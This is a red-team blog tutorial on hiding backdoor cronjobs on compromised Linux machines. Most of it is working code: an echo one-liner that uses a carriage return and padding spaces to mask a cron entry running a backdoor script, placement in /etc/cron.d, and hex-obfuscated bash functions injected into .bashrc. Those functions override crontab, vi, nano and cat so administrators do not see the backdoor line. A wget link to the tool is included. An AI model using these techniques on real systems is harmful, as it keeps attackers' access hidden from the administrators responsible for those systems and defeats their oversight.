RedTeam Tip: Hiding Cronjobs
Hiding cronjobs is a great way to maintain access to compromised systems. There are a few methods Red Teams can use to obfuscate cronjobs to hide their true purpose in crontab files. This helps ensure your backdoor method of access to a system is maintained. Let’s review a few easy ways of hiding cronjobs from System Administrators.
Cronjob Quick Recap
A Cronjob is a Linux command used for scheduling tasks to be executed sometime in the future.
Terms
- Cron – The daemon service that executes Cronjobs.
- Cronjob – A scheduled set of execution instructions specifying day, time and command to execute.
- Crontab – A file which contains one or more Cronjob entries.
Places to put cronjobs
- /etc/crontab
- /etc/cron.d/*
- /etc/cron.hourly/*
- /etc/cron.daily/*
- /etc/cron.weekly/*
- /etc/cron.monthly/*
- /var/spool/cron/crontabs/<Username>
Hiding Cronjobs Method 1 – Carriage Return
This trick is super simple. After you add the backdoor cronjob entry, add a carriage return followed by enough space characters to match the character length of the cronjob. This will hide the cronjob from being displayed whenever someone “cat” or “crontab -l” to view the contents of a crontab file.
Echo Command Liner Example
echo -e "*/15 * * * * /root/bd.sh #\r " >>/etc/crontab
Here is the above example breakdown. The cronjob (“*/15 * * * * /root/bd.sh”) is 24 characters long. Followed by “#”, thus treating the rest as a comment and preventing interference with the cronjob. The “\r” is the carriage return symbol, and after this, we have 26 spaces. When the file is cat-ed, it will output the “*/15 * * * * /root/bd.sh #” cronjob, but the 26 space characters instantly overwrite the same line. In effect hiding the cronjob.
Add Carriage Return In VIM or Nano
Adding a carriage return within Vim or Nano can be done with some keyboard combo.
- In VIM – “[CTL]+V“, then “[CTL]+M“.
- In Nano – “[Meta]+V“, then “[CTL]+M“. The [Meta] key is normally the [ALT] key.
Hiding Cronjobs Method 2 – Use /etc/cron.d/
Creating cronjobs and storing them in the “/etc/cron.d/” directory will further obfuscate finding the job. The cronjobs contained in the “/etc/cron.d/” directory are not displayed when using the “crontab -l” or the “crontab -e” commands. Combining this knowledge with the Carriage return method, we have a layered obfuscation.
Hiding Cronjobs Method 3 – Commands Cloaking
Cloak your backdoor script by replacing commands with functions that will hide your cronjob. The most likely commands a System Admin will use that can expose your backdoor script are “vi”, “crontab -e”, “cat”, and “nano.” If we build functions with the same name as these commands, we can cloak our backdoor within a crontab.
If you take the below functions and add them to the “/<UserName>/.bashrc”, or “/etc/bash.bashrc” file, they will load whenever a user logs on to the server.
# Hex encoded shellcode
# ---------------------
# The Folder the CronJob is hiden in.
# /var/spool/cron/crontabs/ == \x2f\x76\x61\x72\x2f\x73\x70\x6f\x6f\x6c\x2f\x63\x72\x6f\x6e\x2f\x63\x72\x6f\x6e\x74\x61\x62\x73\x2f
# ---------------------
# The backdoor script.
# /root/bd.sh == \x2f\x72\x6f\x6f\x74\x2f\x62\x64\x2e\x73\x68
# ---------------------
# Search term to trigger the cloaking fuction.
# cron == \x63\x72\x6f\x6e
# ---------------------
crontab() {
local S="$(echo -e '\x2f\x72\x6f\x6f\x74\x2f\x62\x64\x2e\x73\x68')"
local L="$(echo -e '\x2f\x76\x61\x72\x2f\x73\x70\x6f\x6f\x6c\x2f\x63\x72\x6f\x6e\x2f\x63\x72\x6f\x6e\x74\x61\x62\x73\x2f')"
case "$*" in
(*-l*) command crontab "$@"|grep -v "${S}" ;;
(*-e*) local H=$(grep "${S}" "${L}${USER}");local O=$(grep -v "${S}" "${L}${USER}");echo "$O" >"${L}${USER}";command crontab -e;echo "${H}" >> "${L}${USER}";;
(*) command crontab "$@";;
esac
}
nano() {
local C="$(echo -e '\x63\x72\x6f\x6e')"
local S="$(echo -e '\x2f\x72\x6f\x6f\x74\x2f\x62\x64\x2e\x73\x68')"
local L="$(echo -e '\x2f\x76\x61\x72\x2f\x73\x70\x6f\x6f\x6c\x2f\x63\x72\x6f\x6e\x2f\x63\x72\x6f\x6e\x74\x61\x62\x73\x2f')"
case "$*" in
(*"${C}"*) local H=$(grep "${S}" "${L}${USER}");local O=$(grep -v "${S}" "${L}${USER}");echo "$O" >"${L}${USER}";command nano "$@";echo "${H}" >> "${L}${USER}";;
(*) command nano "$@";;
esac
}
vi() {
local C="$(echo -e '\x63\x72\x6f\x6e')"
local S="$(echo -e '\x2f\x72\x6f\x6f\x74\x2f\x62\x64\x2e\x73\x68')"
local L="$(echo -e '\x2f\x76\x61\x72\x2f\x73\x70\x6f\x6f\x6c\x2f\x63\x72\x6f\x6e\x2f\x63\x72\x6f\x6e\x74\x61\x62\x73\x2f')"
case "$*" in
(*"${C}"*) local H=$(grep "${S}" "${L}${USER}");local O=$(grep -v "${S}" "${L}${USER}");echo "$O" >"${L}${USER}";command vi "$@";echo "${H}" >> "${L}${USER}";;
(*) command vi "$@";;
esac
}
cat() {
local C="$(echo -e '\x63\x72\x6f\x6e')"
local S="$(echo -e '\x2f\x72\x6f\x6f\x74\x2f\x62\x64\x2e\x73\x68')"
case "$*" in
(*"${C}"*) command cat "$@"|grep -v "${S}";;
(*) command cat "$@";;
esac
}
# ---------------------
As you can see in the above, we have obfuscated and prevented the most common System Admin tools from disclosing our backdoor script.
GitHub Link to Functions
wget https://raw.githubusercontent.com/Brets0150/CG_RedTeamTools/main/cg_cron_cloaks.sh
Final Thoughts
These backdoor obfuscation methods are good, but will not hold up to any real scrutiny. Preforming a Hexdump or a Strings command on the cron files will easily show our backdoor. So think of these as just layers of defending your access to a system, but not a complete solution.
Happy Hunting!